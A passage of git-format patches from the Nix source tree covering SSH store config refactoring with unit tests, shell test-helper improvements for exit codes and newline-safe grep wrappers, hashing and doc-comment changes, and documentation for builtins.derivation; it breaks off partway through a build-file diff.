Subject: [PATCH 1107/1251] Ensure we can construct remote store configs in isolation Progress towards #10766 I thought that #10768 achieved, but when I went to use this stuff (in Hydra), turns out it did not. (Those `using FooConfig;` lines were not working --- they are so finicky!) This PR gets the job done, and adds some trivial unit tests to make sure I did what I intended. I had to add add a header to expose `SSHStoreConfig`, after which the preexisting `ssh-store-config.*` were very confusingly named files, so I renamed them to `common-ssh-store-config.hh` to match the type defined therein. --- maintainers/flake-module.nix | 2 +- ...e-config.cc => common-ssh-store-config.cc} | 2 +- ...e-config.hh => common-ssh-store-config.hh} | 0 src/libstore/legacy-ssh-store.cc | 13 +++++-- src/libstore/legacy-ssh-store.hh | 7 +++- src/libstore/meson.build | 5 +-- src/libstore/ssh-store.cc | 35 +++++++++---------- src/libstore/ssh-store.hh | 28 +++++++++++++++ tests/unit/libstore/legacy-ssh-store.cc | 26 ++++++++++++++ tests/unit/libstore/meson.build | 2 ++ tests/unit/libstore/ssh-store.cc | 26 ++++++++++++++ 11 files changed, 120 insertions(+), 26 deletions(-) rename src/libstore/{ssh-store-config.cc => common-ssh-store-config.cc} (96%) rename src/libstore/{ssh-store-config.hh => common-ssh-store-config.hh} (100%) create mode 100644 src/libstore/ssh-store.hh create mode 100644 tests/unit/libstore/legacy-ssh-store.cc create mode 100644 tests/unit/libstore/ssh-store.cc diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 46b3e1363..66bfcf609 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -143,6 +143,7 @@ ''^src/libstore/common-protocol-impl\.hh$'' ''^src/libstore/common-protocol\.cc$'' ''^src/libstore/common-protocol\.hh$'' + ''^src/libstore/common-ssh-store-config\.hh$'' ''^src/libstore/content-address\.cc$'' ''^src/libstore/content-address\.hh$'' ''^src/libstore/daemon\.cc$'' @@ -215,7 +216,6 @@ ''^src/libstore/serve-protocol\.hh$'' ''^src/libstore/sqlite\.cc$'' ''^src/libstore/sqlite\.hh$'' - ''^src/libstore/ssh-store-config\.hh$'' ''^src/libstore/ssh-store\.cc$'' ''^src/libstore/ssh\.cc$'' ''^src/libstore/ssh\.hh$'' diff --git a/src/libstore/ssh-store-config.cc b/src/libstore/common-ssh-store-config.cc similarity index 96% rename from src/libstore/ssh-store-config.cc rename to src/libstore/common-ssh-store-config.cc index e81a94874..05332b9bb 100644 --- a/src/libstore/ssh-store-config.cc +++ b/src/libstore/common-ssh-store-config.cc @@ -1,6 +1,6 @@ #include -#include "ssh-store-config.hh" +#include "common-ssh-store-config.hh" #include "ssh.hh" namespace nix { diff --git a/src/libstore/ssh-store-config.hh b/src/libstore/common-ssh-store-config.hh similarity index 100% rename from src/libstore/ssh-store-config.hh rename to src/libstore/common-ssh-store-config.hh diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index 9664b126e..eac360a4f 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -1,5 +1,5 @@ #include "legacy-ssh-store.hh" -#include "ssh-store-config.hh" +#include "common-ssh-store-config.hh" #include "archive.hh" #include "pool.hh" #include "remote-store.hh" @@ -15,6 +15,15 @@ namespace nix { +LegacySSHStoreConfig::LegacySSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , CommonSSHStoreConfig(scheme, authority, params) +{ +} + std::string LegacySSHStoreConfig::doc() { return @@ -35,7 +44,7 @@ LegacySSHStore::LegacySSHStore( const Params & params) : StoreConfig(params) , CommonSSHStoreConfig(scheme, host, params) - , LegacySSHStoreConfig(params) + , LegacySSHStoreConfig(scheme, host, params) , Store(params) , connections(make_ref>( std::max(1, (int) maxConnections), diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index db49188ec..f26651898 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -1,7 +1,7 @@ #pragma once ///@file -#include "ssh-store-config.hh" +#include "common-ssh-store-config.hh" #include "store-api.hh" #include "ssh.hh" #include "callback.hh" @@ -13,6 +13,11 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig { using CommonSSHStoreConfig::CommonSSHStoreConfig; + LegacySSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); + const Setting remoteProgram{this, {"nix-store"}, "remote-program", "Path to the `nix-store` executable on the remote machine."}; diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 5324b2a1f..297bf7187 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -162,6 +162,7 @@ sources = files( 'builtins/fetchurl.cc', 'builtins/unpack-channel.cc', 'common-protocol.cc', + 'common-ssh-store-config.cc', 'content-address.cc', 'daemon.cc', 'derivations.cc', @@ -206,7 +207,6 @@ sources = files( 'serve-protocol-connection.cc', 'serve-protocol.cc', 'sqlite.cc', - 'ssh-store-config.cc', 'ssh-store.cc', 'ssh.cc', 'store-api.cc', @@ -233,6 +233,7 @@ headers = [config_h] + files( 'builtins/buildenv.hh', 'common-protocol-impl.hh', 'common-protocol.hh', + 'common-ssh-store-config.hh', 'content-address.hh', 'daemon.hh', 'derivations.hh', @@ -272,11 +273,11 @@ headers = [config_h] + files( 'remote-store.hh', 's3-binary-cache-store.hh', 's3.hh', + 'ssh-store.hh', 'serve-protocol-connection.hh', 'serve-protocol-impl.hh', 'serve-protocol.hh', 'sqlite.hh', - 'ssh-store-config.hh', 'ssh.hh', 'store-api.hh', 'store-cast.hh', diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 7ad934b73..b21c22d7e 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -1,7 +1,5 @@ -#include "ssh-store-config.hh" -#include "store-api.hh" +#include "ssh-store.hh" #include "local-fs-store.hh" -#include "remote-store.hh" #include "remote-store-connection.hh" #include "source-accessor.hh" #include "archive.hh" @@ -12,23 +10,22 @@ namespace nix { -struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig +SSHStoreConfig::SSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, authority, params) { - using RemoteStoreConfig::RemoteStoreConfig; - using CommonSSHStoreConfig::CommonSSHStoreConfig; +} - const Setting remoteProgram{this, {"nix-daemon"}, "remote-program", - "Path to the `nix-daemon` executable on the remote machine."}; - - const std::string name() override { return "Experimental SSH Store"; } - - std::string doc() override - { - return - #include "ssh-store.md" - ; - } -}; +std::string SSHStoreConfig::doc() +{ + return + #include "ssh-store.md" + ; +} class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore { @@ -41,7 +38,7 @@ public: : StoreConfig(params) , RemoteStoreConfig(params) , CommonSSHStoreConfig(scheme, host, params) - , SSHStoreConfig(params) + , SSHStoreConfig(scheme, host, params) , Store(params) , RemoteStore(params) , master(createSSHMaster( diff --git a/src/libstore/ssh-store.hh b/src/libstore/ssh-store.hh new file mode 100644 index 000000000..6ef2219a2 --- /dev/null +++ b/src/libstore/ssh-store.hh @@ -0,0 +1,28 @@ +#pragma once +///@file + +#include "common-ssh-store-config.hh" +#include "store-api.hh" +#include "remote-store.hh" + +namespace nix { + +struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig +{ + using CommonSSHStoreConfig::CommonSSHStoreConfig; + using RemoteStoreConfig::RemoteStoreConfig; + + SSHStoreConfig(std::string_view scheme, std::string_view authority, const Params & params); + + const Setting remoteProgram{ + this, {"nix-daemon"}, "remote-program", "Path to the `nix-daemon` executable on the remote machine."}; + + const std::string name() override + { + return "Experimental SSH Store"; + } + + std::string doc() override; +}; + +} diff --git a/tests/unit/libstore/legacy-ssh-store.cc b/tests/unit/libstore/legacy-ssh-store.cc new file mode 100644 index 000000000..eb31a2408 --- /dev/null +++ b/tests/unit/libstore/legacy-ssh-store.cc @@ -0,0 +1,26 @@ +#include + +#include "legacy-ssh-store.hh" + +namespace nix { + +TEST(LegacySSHStore, constructConfig) +{ + LegacySSHStoreConfig config{ + "ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }}; + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); +} +} diff --git a/tests/unit/libstore/meson.build b/tests/unit/libstore/meson.build index 90e7d3047..41b2fb0ab 100644 --- a/tests/unit/libstore/meson.build +++ b/tests/unit/libstore/meson.build @@ -58,6 +58,7 @@ sources = files( 'derivation.cc', 'derived-path.cc', 'downstream-placeholder.cc', + 'legacy-ssh-store.cc', 'machines.cc', 'nar-info-disk-cache.cc', 'nar-info.cc', @@ -67,6 +68,7 @@ sources = files( 'path.cc', 'references.cc', 'serve-protocol.cc', + 'ssh-store.cc', 'store-reference.cc', 'worker-protocol.cc', ) diff --git a/tests/unit/libstore/ssh-store.cc b/tests/unit/libstore/ssh-store.cc new file mode 100644 index 000000000..7010ad157 --- /dev/null +++ b/tests/unit/libstore/ssh-store.cc @@ -0,0 +1,26 @@ +#include + +#include "ssh-store.hh" + +namespace nix { + +TEST(SSHStore, constructConfig) +{ + SSHStoreConfig config{ + "ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }}; + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); +} +} From 783a8341ee2dedb8fc0790e803a5f3d0362d67d9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 01:28:28 +0200 Subject: [PATCH 1108/1251] tests/functional: Support negative codes in expect, expectStderr --- tests/functional/common/vars-and-functions.sh | 6 ++++-- tests/functional/test-infra.sh | 19 +++++++++++++++++++ 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 4316a30d5..e5cc04bb3 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -236,7 +236,8 @@ expect() { expected="$1" shift "$@" && res=0 || res="$?" - if [[ $res -ne $expected ]]; then + # also match "negative" codes, which wrap around to >127 + if [[ $res -ne $expected && $res -ne $[256 + expected] ]]; then echo "Expected exit code '$expected' but got '$res' from command ${*@Q}" >&2 return 1 fi @@ -250,7 +251,8 @@ expectStderr() { expected="$1" shift "$@" 2>&1 && res=0 || res="$?" - if [[ $res -ne $expected ]]; then + # also match "negative" codes, which wrap around to >127 + if [[ $res -ne $expected && $res -ne $[256 + expected] ]]; then echo "Expected exit code '$expected' but got '$res' from command ${*@Q}" >&2 return 1 fi diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh index 37322b356..f6f84eae9 100755 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -13,6 +13,25 @@ expect 1 false # `expect` will fail when we get it wrong expect 1 expect 0 false +function ret() { + return $1 +} + +# `expect` can call functions, not just executables +expect 0 ret 0 +expect 1 ret 1 + +# `expect` supports negative exit codes +expect -1 ret -1 + +# or high positive ones, equivalent to negative ones +expect 255 ret 255 +expect 255 ret -1 +expect -1 ret 255 + +# but it doesn't confuse negative exit codes with positive ones +expect 1 expect -10 ret 10 + noisyTrue () { echo YAY! >&2 true From f2df3f0c6c78cb742a87dbe2d2f9bcf5d5395795 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 01:40:14 +0200 Subject: [PATCH 1109/1251] tests/vars-and-functions: Add callerPrefix helper --- tests/functional/common/vars-and-functions.sh | 39 +++++++++++++++++++ tests/functional/test-infra.sh | 4 ++ 2 files changed, 43 insertions(+) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index e5cc04bb3..062f3d9f9 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -297,6 +297,45 @@ onError() { done } +# Prints an error message prefix referring to the last call into this file. +# Ignores `expect` and `expectStderr` calls. +# Set a special exit code when test suite functions are misused, so that +# functions like expectStderr won't mistake them for expected Nix CLI errors. +# Suggestion: -101 (negative to indicate very abnormal, and beyond the normal +# range of signals) +# Example (showns as string): 'repl.sh:123: in call to grepQuiet: ' +# This function is inefficient, so it should only be used in error messages. +callerPrefix() { + # Find the closes caller that's not from this file + local i file line fn savedFn + # Use `caller` + for i in $(seq 0 100); do + caller $i > /dev/null || { + if [[ -n "${file:-}" ]]; then + echo "$file:$line: ${savedFn+in call to $savedFn: }" + fi + break + } + line="$(caller $i | cut -d' ' -f1)" + fn="$(caller $i | cut -d' ' -f2)" + file="$(caller $i | cut -d' ' -f3)" + if [[ $file != "${BASH_SOURCE[0]}" ]]; then + echo "$file:$line: ${savedFn+in call to $savedFn: }" + return + fi + case "$fn" in + # Ignore higher order functions that don't report any misuse of themselves + # This way a misuse of a foo in `expectStderr 1 foo` will be reported as + # calling foo, not expectStderr. + expect|expectStderr|callerPrefix) + ;; + *) + savedFn="$fn" + ;; + esac + done +} + # `grep -v` doesn't work well for exit codes. We want `!(exist line l. l # matches)`. It gives us `exist line l. !(l matches)`. # diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh index f6f84eae9..93e0bd64b 100755 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -88,6 +88,10 @@ funBang () { expect 1 funBang unset funBang +# callerPrefix can be used by the test framework to improve error messages +# it reports about our call site here +echo "<[$(callerPrefix)]>" | grepQuiet -F "<[test-infra.sh:$LINENO: ]>" + # `grep -v -q` is not what we want for exit codes, but `grepInverse` is # Avoid `grep -v -q`. The following line proves the point, and if it fails, # we'll know that `grep` had a breaking change or `-v -q` may not be portable. From 644b97ce2574fe22a3fe14daeb6a3d0711d75731 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 01:41:22 +0200 Subject: [PATCH 1110/1251] tests/functional: Make our grep* helpers reject newlines in the query Newlines behave like *OR*; not "and then". --- tests/functional/common/vars-and-functions.sh | 19 ++++++++++++++++--- tests/functional/test-infra.sh | 5 +++++ 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 062f3d9f9..6cce08fbc 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -336,13 +336,24 @@ callerPrefix() { done } +checkGrepArgs() { + local arg + for arg in "$@"; do + if [[ "$arg" != "${arg//$'\n'/_}" ]]; then + echo "$(callerPrefix)newline not allowed in arguments; grep would try each line individually as if connected by an OR operator" >&2 + return -101 + fi + done +} + # `grep -v` doesn't work well for exit codes. We want `!(exist line l. l # matches)`. It gives us `exist line l. !(l matches)`. # # `!` normally doesn't work well with `set -e`, but when we wrap in a # function it *does*. grepInverse() { - ! grep "$@" + checkGrepArgs "$@" && \ + ! grep "$@" } # A shorthand, `> /dev/null` is a bit noisy. @@ -357,12 +368,14 @@ grepInverse() { # the producer into the pipe. But rest assured we've seen it happen in # CI reliably. grepQuiet() { - grep "$@" > /dev/null + checkGrepArgs "$@" && \ + grep "$@" > /dev/null } # The previous two, combined grepQuietInverse() { - ! grep "$@" > /dev/null + checkGrepArgs "$@" && \ + ! grep "$@" > /dev/null } # Return the number of arguments diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh index 93e0bd64b..983b4e860 100755 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -108,3 +108,8 @@ unset res res=$(set -eu -o pipefail; echo foo | expect 1 grepQuietInverse foo | wc -c) (( res == 0 )) unset res + +# `grepQuiet` does not allow newlines in its arguments, because grep quietly +# treats them as multiple queries. +( echo foo; echo bar; ) | expectStderr -101 grepQuiet $'foo\nbar' \ + | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grepQuiet: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' From 41a03738d63b94366d96dfc3e5cfb052c0ad5e2a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 01:54:12 +0200 Subject: [PATCH 1111/1251] tests/functional: Also keep plain grep calls safe from newlines --- tests/functional/common/vars-and-functions.sh | 20 ++++++++++++++++--- tests/functional/test-infra.sh | 4 ++++ 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 6cce08fbc..7a399f6d4 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -351,9 +351,12 @@ checkGrepArgs() { # # `!` normally doesn't work well with `set -e`, but when we wrap in a # function it *does*. +# +# `command grep` lets us avoid re-checking the args by going directly to the +# executable. grepInverse() { checkGrepArgs "$@" && \ - ! grep "$@" + ! command grep "$@" } # A shorthand, `> /dev/null` is a bit noisy. @@ -367,15 +370,26 @@ grepInverse() { # the closing of the pipe, the buffering of the pipe, and the speed of # the producer into the pipe. But rest assured we've seen it happen in # CI reliably. +# +# `command grep` lets us avoid re-checking the args by going directly to the +# executable. grepQuiet() { checkGrepArgs "$@" && \ - grep "$@" > /dev/null + command grep "$@" > /dev/null } # The previous two, combined grepQuietInverse() { checkGrepArgs "$@" && \ - ! grep "$@" > /dev/null + ! command grep "$@" > /dev/null +} + +# Wrap grep to remove its newline footgun; see checkGrepArgs. +# Note that we keep the checkGrepArgs calls in the other helpers, because some +# of them are negated and that would defeat this check. +grep() { + checkGrepArgs "$@" && \ + command grep "$@" } # Return the number of arguments diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh index 983b4e860..1dab069fb 100755 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -113,3 +113,7 @@ unset res # treats them as multiple queries. ( echo foo; echo bar; ) | expectStderr -101 grepQuiet $'foo\nbar' \ | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grepQuiet: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' + +# We took the blue pill and woke up in a world where `grep` is moderately safe. +expectStderr -101 grep $'foo\nbar' \ + | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grep: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' From 6c9d62dcebbb042e24cb7e07c5cf5369f1db6ba0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:04:37 +0200 Subject: [PATCH 1112/1251] Doc comments: use std::unordered_map Co-authored-by: Eelco Dolstra --- src/libexpr/eval.hh | 4 ++-- src/libexpr/parser-state.hh | 2 +- src/libexpr/parser.y | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index d376046ae..f09e6223a 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -130,7 +130,7 @@ struct Constant typedef std::map ValMap; #endif -typedef std::map DocCommentMap; +typedef std::unordered_map DocCommentMap; struct Env { @@ -335,7 +335,7 @@ private: * Associate source positions of certain AST nodes with their preceding doc comment, if they have one. * Grouped by file. */ - std::map positionToDocComment; + std::unordered_map positionToDocComment; LookupPath lookupPath; diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 983a17a2e..5a7bcb717 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -64,7 +64,7 @@ struct LexerState /** * @brief Maps some positions to a DocComment, where the comment is relevant to the location. */ - std::map & positionToDocComment; + std::unordered_map & positionToDocComment; PosTable & positions; PosTable::Origin origin; diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 452d265bc..8ea176b24 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -48,7 +48,7 @@ namespace nix { -typedef std::map DocCommentMap; +typedef std::unordered_map DocCommentMap; Expr * parseExprFromBuf( char * text, From 3d8fa9f6688c7a1db27d216bb2d5897687e4af9a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 16 Jul 2024 16:34:13 +0200 Subject: [PATCH 1113/1251] Pos::getSnippetUpTo(): Fix warning --- src/libutil/position.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/position.cc b/src/libutil/position.cc index 3289dbe8b..5a2529262 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -119,12 +119,12 @@ std::optional Pos::getSnippetUpTo(const Pos & end) const { if (auto source = getSource()) { auto firstLine = LinesIterator(*source); - for (auto i = 1; i < this->line; ++i) { + for (uint32_t i = 1; i < this->line; ++i) { ++firstLine; } auto lastLine = LinesIterator(*source); - for (auto i = 1; i < end.line; ++i) { + for (uint32_t i = 1; i < end.line; ++i) { ++lastLine; } From 64b46000ad92e772cd30f691bd75d937a2b84158 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 16:46:41 +0200 Subject: [PATCH 1114/1251] Add std::hash --- src/libexpr/pos-idx.hh | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index e13491560..1d711681f 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -2,12 +2,15 @@ #include +#include "util.hh" + namespace nix { class PosIdx { friend struct LazyPosAcessors; friend class PosTable; + friend class std::hash; private: uint32_t id; @@ -37,8 +40,28 @@ public: { return id == other.id; } + + size_t hash() const noexcept + { + size_t h = 854125; + hash_combine(h, id); + return h; + } }; inline PosIdx noPos = {}; } + +namespace std { + +template<> +struct hash +{ + std::size_t operator()(nix::PosIdx pos) const noexcept + { + return pos.hash(); + } +}; + +} // namespace std From 74698d54c82fa302dc0c82f68c796eda673090d9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 10 Jul 2024 13:34:42 +0200 Subject: [PATCH 1115/1251] Document builtins.derivation --- src/libexpr/primops/derivation.nix | 29 +++++++++++++++++-- .../lang/eval-fail-derivation-name.err.exp | 24 +++++++-------- 2 files changed, 39 insertions(+), 14 deletions(-) diff --git a/src/libexpr/primops/derivation.nix b/src/libexpr/primops/derivation.nix index c0fbe8082..f329ff71e 100644 --- a/src/libexpr/primops/derivation.nix +++ b/src/libexpr/primops/derivation.nix @@ -1,6 +1,31 @@ -/* This is the implementation of the ‘derivation’ builtin function. - It's actually a wrapper around the ‘derivationStrict’ primop. */ +# This is the implementation of the ‘derivation’ builtin function. +# It's actually a wrapper around the ‘derivationStrict’ primop. +# Note that the following comment will be shown in :doc in the repl, but not in the manual. +/** + Create a derivation. + + # Inputs + + The single argument is an attribute set that describes what to build and how to build it. + See https://nix.dev/manual/nix/2.23/language/derivations + + # Output + + The result is an attribute set that describes the derivation. + Notably it contains the outputs, which in the context of the Nix language are special strings that refer to the output paths, which may not yet exist. + The realisation of these outputs only occurs when needed; for example + + * When `nix-build` or a similar command is run, it realises the outputs that were requested on its command line. + See https://nix.dev/manual/nix/2.23/command-ref/nix-build + + * When `import`, `readFile`, `readDir` or some other functions are called, they have to realise the outputs they depend on. + This is referred to as "import from derivation". + See https://nix.dev/manual/nix/2.23/language/import-from-derivation + + Note that `derivation` is very bare-bones, and provides almost no commands during the build. + Most likely, you'll want to use functions like `stdenv.mkDerivation` in Nixpkgs to set up a basic environment. +*/ drvAttrs @ { outputs ? [ "out" ], ... }: let diff --git a/tests/functional/lang/eval-fail-derivation-name.err.exp b/tests/functional/lang/eval-fail-derivation-name.err.exp index eb2206df1..ae7b47712 100644 --- a/tests/functional/lang/eval-fail-derivation-name.err.exp +++ b/tests/functional/lang/eval-fail-derivation-name.err.exp @@ -1,24 +1,24 @@ error: … while evaluating the attribute 'outPath' - at :19:9: - 18| value = commonAttrs // { - 19| outPath = builtins.getAttr outputName strict; + at :44:9: + 43| value = commonAttrs // { + 44| outPath = builtins.getAttr outputName strict; | ^ - 20| drvPath = strict.drvPath; + 45| drvPath = strict.drvPath; … while calling the 'getAttr' builtin - at :19:19: - 18| value = commonAttrs // { - 19| outPath = builtins.getAttr outputName strict; + at :44:19: + 43| value = commonAttrs // { + 44| outPath = builtins.getAttr outputName strict; | ^ - 20| drvPath = strict.drvPath; + 45| drvPath = strict.drvPath; … while calling the 'derivationStrict' builtin - at :9:12: - 8| - 9| strict = derivationStrict drvAttrs; + at :34:12: + 33| + 34| strict = derivationStrict drvAttrs; | ^ - 10| + 35| … while evaluating derivation '~jiggle~' whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:2:3 From f9a1d6b0188a2d0e9ad84f1e735e560320380501 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 17:36:30 +0200 Subject: [PATCH 1116/1251] tests/functional/lang: Add post processing and remove certain line numbers --- tests/functional/lang.sh | 15 +++++++++++ .../lang/eval-fail-derivation-name.err.exp | 26 +++++++++---------- .../eval-fail-derivation-name.postprocess | 9 +++++++ 3 files changed, 37 insertions(+), 13 deletions(-) create mode 100755 tests/functional/lang/eval-fail-derivation-name.postprocess diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 8cb8e98fb..5a8cefd13 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -50,11 +50,22 @@ set +x badDiff=0 badExitCode=0 +# Extra post-processing that's specific to each test case +postprocess() { + if [[ -e "lang/$1.postprocess" ]]; then + ( + set -x; + "lang/$1.postprocess" "lang/$1" + ) + fi +} + for i in lang/parse-fail-*.nix; do echo "parsing $i (should fail)"; i=$(basename "$i" .nix) if expectStderr 1 nix-instantiate --parse - < "lang/$i.nix" > "lang/$i.err" then + postprocess "$i" diffAndAccept "$i" err err.exp else echo "FAIL: $i shouldn't parse" @@ -71,6 +82,7 @@ for i in lang/parse-okay-*.nix; do 2> "lang/$i.err" then sed "s!$(pwd)!/pwd!g" "lang/$i.out" "lang/$i.err" + postprocess "$i" diffAndAccept "$i" out exp diffAndAccept "$i" err err.exp else @@ -94,6 +106,7 @@ for i in lang/eval-fail-*.nix; do expectStderr 1 nix-instantiate $flags "lang/$i.nix" \ | sed "s!$(pwd)!/pwd!g" > "lang/$i.err" then + postprocess "$i" diffAndAccept "$i" err err.exp else echo "FAIL: $i shouldn't evaluate" @@ -109,6 +122,7 @@ for i in lang/eval-okay-*.nix; do if expect 0 nix-instantiate --eval --xml --no-location --strict \ "lang/$i.nix" > "lang/$i.out.xml" then + postprocess "$i" diffAndAccept "$i" out.xml exp.xml else echo "FAIL: $i should evaluate" @@ -129,6 +143,7 @@ for i in lang/eval-okay-*.nix; do 2> "lang/$i.err" then sed -i "s!$(pwd)!/pwd!g" "lang/$i.out" "lang/$i.err" + postprocess "$i" diffAndAccept "$i" out exp diffAndAccept "$i" err err.exp else diff --git a/tests/functional/lang/eval-fail-derivation-name.err.exp b/tests/functional/lang/eval-fail-derivation-name.err.exp index ae7b47712..0ef98674d 100644 --- a/tests/functional/lang/eval-fail-derivation-name.err.exp +++ b/tests/functional/lang/eval-fail-derivation-name.err.exp @@ -1,26 +1,26 @@ error: … while evaluating the attribute 'outPath' - at :44:9: - 43| value = commonAttrs // { - 44| outPath = builtins.getAttr outputName strict; + at ::: + | value = commonAttrs // { + | outPath = builtins.getAttr outputName strict; | ^ - 45| drvPath = strict.drvPath; + | drvPath = strict.drvPath; … while calling the 'getAttr' builtin - at :44:19: - 43| value = commonAttrs // { - 44| outPath = builtins.getAttr outputName strict; + at ::: + | value = commonAttrs // { + | outPath = builtins.getAttr outputName strict; | ^ - 45| drvPath = strict.drvPath; + | drvPath = strict.drvPath; … while calling the 'derivationStrict' builtin - at :34:12: - 33| - 34| strict = derivationStrict drvAttrs; + at ::: + | + | strict = derivationStrict drvAttrs; | ^ - 35| + | … while evaluating derivation '~jiggle~' - whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:2:3 + whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:: error: invalid derivation name: name '~jiggle~' contains illegal character '~'. Please pass a different 'name'. diff --git a/tests/functional/lang/eval-fail-derivation-name.postprocess b/tests/functional/lang/eval-fail-derivation-name.postprocess new file mode 100755 index 000000000..ab9fa5b5d --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.postprocess @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +set -euo pipefail +testcaseBasename=$1 + +# Line numbers change when derivation.nix docs are updated. +sed -i "$testcaseBasename.err" \ + -e 's/[0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9 ][0-9]\([^0-9]\)/\1/g' \ + -e 's/[0-9][0-9]*//g' \ + ; From d0e9878389cc00caff84d0bbaa37fe008af638ee Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 22:22:15 +0200 Subject: [PATCH 1117/1251] Remove unused boost include and split out std-hash.hh Splitting it out immediately answers questions like [this], without increasing the number of compilation units. I did consider using boost::hash_combine instead, but it doesn't seem to be quite as capable, accepting only two arguments. [this]: https://github.com/NixOS/nix/pull/11113#discussion_r1679991573 --- src/libexpr/pos-idx.hh | 2 +- src/libutil/meson.build | 1 + src/libutil/source-path.hh | 3 +-- src/libutil/std-hash.hh | 24 ++++++++++++++++++++++++ src/libutil/util.hh | 14 -------------- 5 files changed, 27 insertions(+), 17 deletions(-) create mode 100644 src/libutil/std-hash.hh diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index 1d711681f..f3ea3a2e5 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -2,7 +2,7 @@ #include -#include "util.hh" +#include "std-hash.hh" namespace nix { diff --git a/src/libutil/meson.build b/src/libutil/meson.build index fbfcbe67c..04c778c31 100644 --- 